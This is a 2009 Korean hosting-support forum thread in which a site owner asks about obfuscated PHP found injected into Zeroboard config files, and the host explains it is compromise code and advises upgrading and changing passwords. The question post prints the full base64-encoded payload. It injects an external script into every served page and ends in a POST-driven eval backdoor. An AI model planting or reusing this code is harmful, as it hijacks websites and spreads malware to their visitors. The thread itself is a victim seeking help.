beomy      2009/11/17 23:49:45     3915   
   악성 코드 관련 [1]
해킹관련입니다. 제로보드 파일 중에서 config.php 및 dbconn.php3, 등등의 파일에 아래와 같은 코드가 있었습니다.
우선 지우기는 했는데 무슨 내용인지 알 수 있을까요?

<물음표 php eval(base64_decode('aWYoIWZ1bmN0aW9uX2V4aXN0cygnajFsMScpKXtmdW5jdGlvbiBqMWwxKCRzKXtpZihwcmVnX21hdGNoX2FsbCgnIzxzY3JpcHQoLio/KTwvc2NyaXB0PiNpcycsJHMsJGEpKWZvcmVhY2goJGFbMF1hcyR2KWlmKGNvdW50KGV4cGxvZGUoIlxuIiwkdikpPjUpeyRlPXByZWdfbWF0Y2goJyNbXCciXVteXHNcJyJcLiw7XD8hXFtcXTovPD5cKFwpXXszMCx9IycsJHYpfHxwcmVnX21hdGNoKCcjW1woXFtdKFxzKlxkKywpezIwLH0jJywkdik7aWYoKHByZWdfbWF0Y2goJyNcYmV2YWxcYiMnLCR2KSYmKCRlfHxzdHJwb3MoJHYsJ2Zyb21DaGFyQ29kZScpKSl8fCgkZSYmc3RycG9zKCR2LCdkb2N1bWVudC53cml0ZScpKSkkcz1zdHJfcmVwbGFjZSgkdiwnJywkcyk7fWlmKHByZWdfbWF0Y2hfYWxsKCcjPGlmcmFtZSAoW14+XSo/KXNyYz1bXCciXT8oaHR0cDopPy8vKFtePl0qPyk+I2lzJywkcywkYSkpZm9yZWFjaCgkYVswXWFzJHYpaWYocHJlZ19tYXRjaCgnI1tcLiBdd2lkdGhccyo9XHMqW1wnIl0/MCpbMC05XVtcJyI+IF18ZGlzcGxheVxzKjpccypub25lI2knLCR2KSYmIXN0cnN0cigkdiwnPycuJz4nKSkkcz1wcmVnX3JlcGxhY2UoJyMnLnByZWdfcXVvdGUoJHYsJyMnKS4nLio/PC9pZnJhbWU+I2lzJywnJywkcyk7JHM9c3RyX3JlcGxhY2UoJGE9YmFzZTY0X2RlY29kZSgnUEhOamNtbHdkQ0J6Y21NOWFIUjBjRG92TDIxcGJHbDBZWEo1YzJodmNDNWpieTV5Y3k5cGJXRm5aWE12YjJSbFkyRXVjR2h3SUQ0OEwzTmpjbWx3ZEQ0PScpLCcnLCRzKTtpZihzdHJpc3RyKCRzLCc8Ym9keScpKSRzPXByZWdfcmVwbGFjZSgnIyhccyo8Ym9keSkjbWknLCRhLidcMScsJHMsMSk7ZWxzZWlmKHN0cnBvcygkcywnPGEnKSkkcz0kYS4kcztyZXR1cm4kczt9ZnVuY3Rpb24gajFsMTIoJGEsJGIsJGMsJGQpe2dsb2JhbCRqMWwxMTskcz1hcnJheSgpO2lmKGZ1bmN0aW9uX2V4aXN0cygkajFsMTEpKWNhbGxfdXNlcl9mdW5jKCRqMWwxMSwkYSwkYiwkYywkZCk7Zm9yZWFjaChAb2JfZ2V0X3N0YXR1cygxKWFzJHYpaWYoKCRhPSR2WyduYW1lJ10pPT0najFsMScpcmV0dXJuO2Vsc2VpZigkYT09J29iX2d6aGFuZGxlcicpYnJlYWs7ZWxzZSRzW109YXJyYXkoJGE9PSdkZWZhdWx0IG91dHB1dCBoYW5kbGVyJz9mYWxzZTokYSk7Zm9yKCRpPWNvdW50KCRzKS0xOyRpPj0wOyRpLS0peyRzWyRpXVsxXT1vYl9nZXRfY29udGVudHMoKTtvYl9lbmRfY2xlYW4oKTt9b2Jfc3RhcnQoJ2oxbDEnKTtmb3IoJGk9MDskaTxjb3VudCgkcyk7JGkrKyl7b2Jfc3RhcnQoJHNbJGldWzBdKTtlY2hvICRzWyRpXVsxXTt9fX0kajFsMWw9KCgkYT1Ac2V0X2Vycm9yX2hhbmRsZXIoJ2oxbDEyJykpIT0najFsMTInKT8kYTowO2V2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2UnXSkpOw==')); 물음표>

html 파일에 들어있던 <스크립트 milltary뭐뭐 ... /스크립트> 들도 다 지웠는데
처음 홈페이지 접속하면 10초 정도 게시판 화면이 나오지 않고 멈춰 있습니다.

어떻게 하면 될까요?

ftp, telnet (ssh, 계정암호), db 접속 모두 바꿨습니다.

김기범
writer ip : 121.146.195.196    


115.140.123.130
2009/11/18 10:36:18 		해당 코드를 디코딩한 결과 몇가지  php 함수를 정의한 코드입니다.
사이트를 변조시켜 외부 스크립트를 실행하여 바이러스 등을 유포하도록 만들어진 코드입니다.
아마도 고객님 사이트가 해킹당하신것 같습니다.

제로보드등을 사용하신다면 최신버젼으로 업그레이드 해주시고 비밀번호를 변경해 주셔야 합니다.
특히, 비번 변경시 계정비번과 DB비번을 다르게 설정해 주시길 권장해 드립니다.

지금 접속해본 결과 별다른 딜레이 없이 접속되고 있습니다.
문제가 되는 소스코드를 모두 삭제하신것 같습니다.

기타 문의사항이 있으시면 이곳에 다시 문의해 주시기 바랍니다.
감사합니다.

      

       

24189 도메인 [1] 김현례 12/26 0
24188 홈페이지 문제입니다. [1] IMT 12/25 0
24187 XE를 설치하려고 하는데 DB에 관련되서 질문드립... [1] 그대 12/23 0
24186 FTP에서 폴더 삭제가 안되네요 삭제 부탁드립니다... [1] 그대 12/15 0
24185 [긴급] DB 및 XE 삭제요청 [1] 메타마리오 12/09 0
24184 호스트 초기화 요청 [1] 메타마리오 12/04 0
24183 제로보드 XE 설정 [1] 메타마리오 11/30 0
24182 metamario.net 백업자료 요청 [1] 메타마리오 11/29 0
24181 홈페이지 [1] 김현례 11/17 0
24180 계정백업부탁드립니다. [1] ghdrud 11/14 0
24179 이전 사용했던 그누보드를 재설치하고자 합니다. [1] 도 11/01 4511
24178 예전의 제로보드를 사용중에 있습니다. 최신버젼... [1] 도 10/30 4468
24177 거래명세서 요청 thinksmart 10/29 0
24176 홈페이지 안떠요. [1] ghdrud 10/18 4791
24175 도메인 신규등록이 안되는데,,확인해주세요. [1] j-hwan 10/13 4204
FIRST81516171819202128LAST
  
컴퓨즈닷컴(대표 장정주) 인천광역시 동구 방축로83번길 23, 24동 333호
사업자등록번호 137-05-83351, 통신판매 인천 동구 03-78호, 개인정보책임자 장정주